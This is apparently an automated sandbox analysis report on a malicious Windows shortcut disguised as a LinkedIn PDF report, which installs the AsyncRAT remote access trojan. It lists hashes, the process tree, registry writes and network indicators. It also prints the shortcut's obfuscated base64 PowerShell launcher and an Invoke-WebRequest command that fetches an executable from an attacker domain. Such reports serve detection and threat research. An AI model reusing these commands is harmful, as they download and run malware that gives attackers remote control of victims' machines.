| File name: | Linkedin_Report.pdf.lnk |
| Full analysis: | https://app.any.run/tasks/36a2965b-8c50-4626-be17-ed778918dd46 |
| Verdict: | Malicious activity |
| Threats: | AsyncRAT is a RAT that can monitor and remotely control infected systems. This malware was introduced on Github as a legitimate open-source remote administration software, but hackers use it for its many powerful malicious functions. |
| Analysis date: | May 17, 2025, 06:41:48 |
| OS: | Windows 10 Professional (build: 19044, 64 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/x-ms-shortcut |
| File info: | MS Windows shortcut, Item id list present, Has Relative path, Has command line arguments, Icon number=11, Unicoded, HasExpIcon "%ProgramFiles%\Microsoft\Edge\Application\msedge.exe", length=0, window=showminnoactive, IDListSize 0x020d, Root folder "20D04FE0-3AEA-1069-A2D8-08002B30309D", Volume "C:\" |
| MD5: | 0E5BF02517DF5DB9E59121A38774C7E4 |
| SHA1: | 6F175350B1B4038C24B06D2C812BBAF7DACC036C |
| SHA256: | 2D3927B3B76B204E33D62D5502D5C25D2593E4943B81D989A71B2195B7C05A77 |
| SSDEEP: | 48:8wTX1e3zt/T5wPtwnFgHQVh6FtmVdo9aQtY:8wJGTa+nFuQVMeAJ |
| .lnk | | | Windows Shortcut (100) |
|---|
| Flags: | IDList, RelativePath, CommandArgs, IconFile, Unicode, ExpIcon |
|---|---|
| FileAttributes: | (none) |
| TargetFileSize: | - |
| IconIndex: | 11 |
| RunWindow: | Show Minimized No Activate |
| HotKey: | (none) |
| TargetFileDOSName: | powershell.exe |
| RelativePath: | ..\..\..\..\..\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| CommandLineArguments: | powershell -E cwBjAGIAIAAnAG0AXgBeAHMAaAB0AF4AYQBeACAAXgBeAF4AaAB0AF4AdABwAF4AXgBeAHMAXgBeAF4AOgAvAF4AXgBeAF4ALwBeAF4AYwB2AF4AXgBeAF4AYwBeAF4AXgBeAHgAXgBeAF4AdgBeAF4AXgAyAF4AXgAzAF4AXgBeADQAXgBeADIAMwBeAHMAdgBeAC4AXgBeAGMAXgBeAG8AXgBtAF4ALwBeAF4AXgBeAEYAXgBeAF4AXgBvAF4AcgBtAF4AXwBjAF4AXgBeAGwAXgBhAGkAbQBoAF4AXgAuAG0AXgBeAF4AcAA0ACcALgByAGUAcABsAGEAYwBlACgAJwBeACcALAAnACcAKQA7AGkAZQB4ACAAKABnAGMAYgApAA== |
| IconFileName: | C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe |
PID | CMD | Path | Indicators | Parent process | |||||||||||
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| 1128 | "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=renderer --log-severity=disable --user-agent-product="ReaderServices/23.1.20093 Chrome/105.0.0.0" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --touch-events=enabled --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=9 --mojo-platform-channel-handle=2908 --field-trial-handle=1252,i,8383650293245513447,3218545895008313801,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:1 | C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe | — | AcroCEF.exe | |||||||||||
User: admin Company: Adobe Systems Incorporated Integrity Level: LOW Description: Adobe AcroCEF Version: 23.1.20093.0 Modules
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| 1616 | "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --log-severity=disable --user-agent-product="ReaderServices/23.1.20093 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2100 --field-trial-handle=1252,i,8383650293245513447,3218545895008313801,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 | C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe | — | AcroCEF.exe | |||||||||||
User: admin Company: Adobe Systems Incorporated Integrity Level: LOW Description: Adobe AcroCEF Version: 23.1.20093.0 Modules
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| 2384 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" powershell -E cwBjAGIAIAAnAG0AXgBeAHMAaAB0AF4AYQBeACAAXgBeAF4AaAB0AF4AdABwAF4AXgBeAHMAXgBeAF4AOgAvAF4AXgBeAF4ALwBeAF4AYwB2AF4AXgBeAF4AYwBeAF4AXgBeAHgAXgBeAF4AdgBeAF4AXgAyAF4AXgAzAF4AXgBeADQAXgBeADIAMwBeAHMAdgBeAC4AXgBeAGMAXgBeAG8AXgBtAF4ALwBeAF4AXgBeAEYAXgBeAF4AXgBvAF4AcgBtAF4AXwBjAF4AXgBeAGwAXgBhAGkAbQBoAF4AXgAuAG0AXgBeAF4AcAA0ACcALgByAGUAcABsAGEAYwBlACgAJwBeACcALAAnACcAKQA7AGkAZQB4ACAAKABnAGMAYgApAA== | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
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| 2568 | "C:\Users\admin\AppData\Roaming\piUkvqAix.exe" | C:\Users\admin\AppData\Roaming\piUkvqAix.exe | — | powershell.exe | |||||||||||
User: admin Integrity Level: MEDIUM Exit code: 0 Modules
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| 4208 | "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.1.20093 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1252,i,8383650293245513447,3218545895008313801,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 | C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe | AcroCEF.exe | ||||||||||||
User: admin Company: Adobe Systems Incorporated Integrity Level: LOW Description: Adobe AcroCEF Version: 23.1.20093.0 Modules
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| 4212 | "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=renderer --log-severity=disable --user-agent-product="ReaderServices/23.1.20093 Chrome/105.0.0.0" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --touch-events=enabled --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=10 --mojo-platform-channel-handle=2744 --field-trial-handle=1252,i,8383650293245513447,3218545895008313801,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:1 | C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe | — | AcroCEF.exe | |||||||||||
User: admin Company: Adobe Systems Incorporated Integrity Level: LOW Description: Adobe AcroCEF Version: 23.1.20093.0 Modules
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| 4220 | "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" --type=renderer /prefetch:1 "C:\Users\admin\AppData\Roaming\FORM_FILL.pdf" | C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe | — | Acrobat.exe | |||||||||||
User: admin Company: Adobe Systems Incorporated Integrity Level: LOW Description: Adobe Acrobat Version: 23.1.20093.0 Modules
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| 4488 | powershell -Command "Invoke-WebRequest -Uri "https://cvcxv23423sv.com/xmrjBXD" -OutFile "C:\Users\Public\Guard.exe"" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | piUkvqAix.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
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| 4756 | "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16514043 | C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe | — | Acrobat.exe | |||||||||||
User: admin Company: Adobe Systems Incorporated Integrity Level: LOW Description: Adobe AcroCEF Version: 23.1.20093.0 Modules
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| 4880 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
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| (PID) Process: | (7780) mshta.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content |
| Operation: | write | Name: | CachePrefix |
Value: | |||
| (PID) Process: | (7780) mshta.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies |
| Operation: | write | Name: | CachePrefix |
Value: Cookie: | |||
| (PID) Process: | (7780) mshta.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History |
| Operation: | write | Name: | CachePrefix |
Value: Visited: | |||
| (PID) Process: | (7956) powershell.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.pdf\OpenWithProgids |
| Operation: | write | Name: | Acrobat.Document.DC |
Value: | |||
| (PID) Process: | (8152) Acrobat.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-2034283098-2252572593-1072577386-2659511007-3245387615-27016815-3920691934 |
| Operation: | write | Name: | DisplayName |
Value: Adobe Acrobat Reader Protected Mode | |||
| (PID) Process: | (4220) Acrobat.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Adobe\Adobe Acrobat\DC\ExitSection |
| Operation: | write | Name: | bLastExitNormal |
Value: 0 | |||
| (PID) Process: | (4220) Acrobat.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Adobe\Adobe Acrobat\DC\Collab\cDocumentCenter |
| Operation: | write | Name: | bAlwaysUseServer |
Value: 0 | |||
| (PID) Process: | (4220) Acrobat.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Adobe\Adobe Acrobat\DC\Collab\cDocumentCenter |
| Operation: | write | Name: | bAlwaysUseServerFD |
Value: 0 | |||
| (PID) Process: | (4220) Acrobat.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Adobe\Adobe Acrobat\DC\Collab\cDocumentCenter |
| Operation: | write | Name: | bDefault |
Value: 1 | |||
| (PID) Process: | (4220) Acrobat.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Adobe\Adobe Acrobat\DC\Collab\cDocumentCenter |
| Operation: | write | Name: | bDefaultFD |
Value: 1 | |||
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 7604 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_vsq4sss3.jdp.ps1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 2384 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\IHPZI2U14I6SVW2H0813.temp | binary | |
MD5:8C85E782FDCFE9705C7957F0263D75FE | SHA256:57D780E6AF98BCFC77D5BF361D9228CB9EF9F252BF5586ACF6864058B10E4805 | |||
| 2384 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_pw3vshk3.0z0.ps1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 7604 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_t1lroh0t.uwd.psm1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 7780 | mshta.exe | C:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B46811C17859FFB409CF0E904A4AA8F8 | binary | |
MD5:1FBB37F79B317A9A248E7C4CE4F5BAC5 | SHA256:9BF639C595FE335B6F694EE35990BEFD2123F5E07FD1973FF619E3FC88F5F49F | |||
| 7604 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_tzz05rar.yqr.ps1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 7604 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_tfapqnjo.2ok.psm1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 7780 | mshta.exe | C:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\8B2B9A00839EED1DFDCCC3BFC2F5DF12 | binary | |
MD5:4A90329071AE30B759D279CCA342B0A6 | SHA256:4F544379EDA8E2653F71472AB968AEFD6B5D1F4B3CE28A5EDB14196184ED3B60 | |||
| 7956 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_c4ev30fe.shj.ps1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 7780 | mshta.exe | C:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\8B2B9A00839EED1DFDCCC3BFC2F5DF12 | binary | |
MD5:B4472B8E2F5FD809982FFEB43FD8779E | SHA256:AEA9423D9E7C509860A06A0A46E1CE6F87779744CED346F1BE8AA3B1BAC1EFAA | |||
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
— | — | GET | 200 | 2.20.245.139:80 | http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl | unknown | — | — | whitelisted |
7780 | mshta.exe | GET | 200 | 142.250.181.227:80 | http://c.pki.goog/r/gsr1.crl | unknown | — | — | whitelisted |
5496 | MoUsoCoreWorker.exe | GET | 200 | 95.101.149.131:80 | http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl | unknown | — | — | whitelisted |
7780 | mshta.exe | GET | 200 | 142.250.181.227:80 | http://c.pki.goog/r/r4.crl | unknown | — | — | whitelisted |
5176 | SIHClient.exe | GET | 200 | 23.35.229.160:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl | unknown | — | — | whitelisted |
8152 | Acrobat.exe | GET | 200 | 2.17.190.73:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAfy81yHqHeveu%2FpR5k1Jb0%3D | unknown | — | — | whitelisted |
5176 | SIHClient.exe | GET | 200 | 23.35.229.160:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl | unknown | — | — | whitelisted |
6544 | svchost.exe | GET | 200 | 2.23.77.188:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D | unknown | — | — | whitelisted |
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
4 | System | 192.168.100.255:137 | — | — | — | whitelisted |
5176 | RUXIMICS.exe | 20.73.194.208:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
— | — | 20.73.194.208:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
— | — | 2.20.245.139:80 | crl.microsoft.com | Akamai International B.V. | SE | whitelisted |
5496 | MoUsoCoreWorker.exe | 95.101.149.131:80 | www.microsoft.com | Akamai International B.V. | NL | whitelisted |
4 | System | 192.168.100.255:138 | — | — | — | whitelisted |
2104 | svchost.exe | 51.104.136.2:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
3216 | svchost.exe | 172.211.123.249:443 | client.wns.windows.com | MICROSOFT-CORP-MSN-AS-BLOCK | FR | whitelisted |
7780 | mshta.exe | 188.114.96.3:443 | cvcxv23423sv.com | CLOUDFLARENET | NL | unknown |
7780 | mshta.exe | 142.250.181.227:80 | c.pki.goog | GOOGLE | US | whitelisted |
Domain | IP | Reputation |
|---|---|---|
settings-win.data.microsoft.com |
| whitelisted |
crl.microsoft.com |
| whitelisted |
www.microsoft.com |
| whitelisted |
google.com |
| whitelisted |
client.wns.windows.com |
| whitelisted |
cvcxv23423sv.com |
| unknown |
c.pki.goog |
| whitelisted |
geo2.adobe.com |
| whitelisted |
p13n.adobe.io |
| whitelisted |
nbhkmKSQnaDrIkubbvvLMhHdgigs.nbhkmKSQnaDrIkubbvvLMhHdgigs |
| unknown |
PID | Process | Class | Message |
|---|---|---|---|
6740 | jsc.exe | Domain Observed Used for C2 Detected | ET MALWARE Generic AsyncRAT/zgRAT Style SSL Cert |
6740 | jsc.exe | Malware Command and Control Activity Detected | REMOTE [ANY.RUN] AsyncRAT Successful Connection |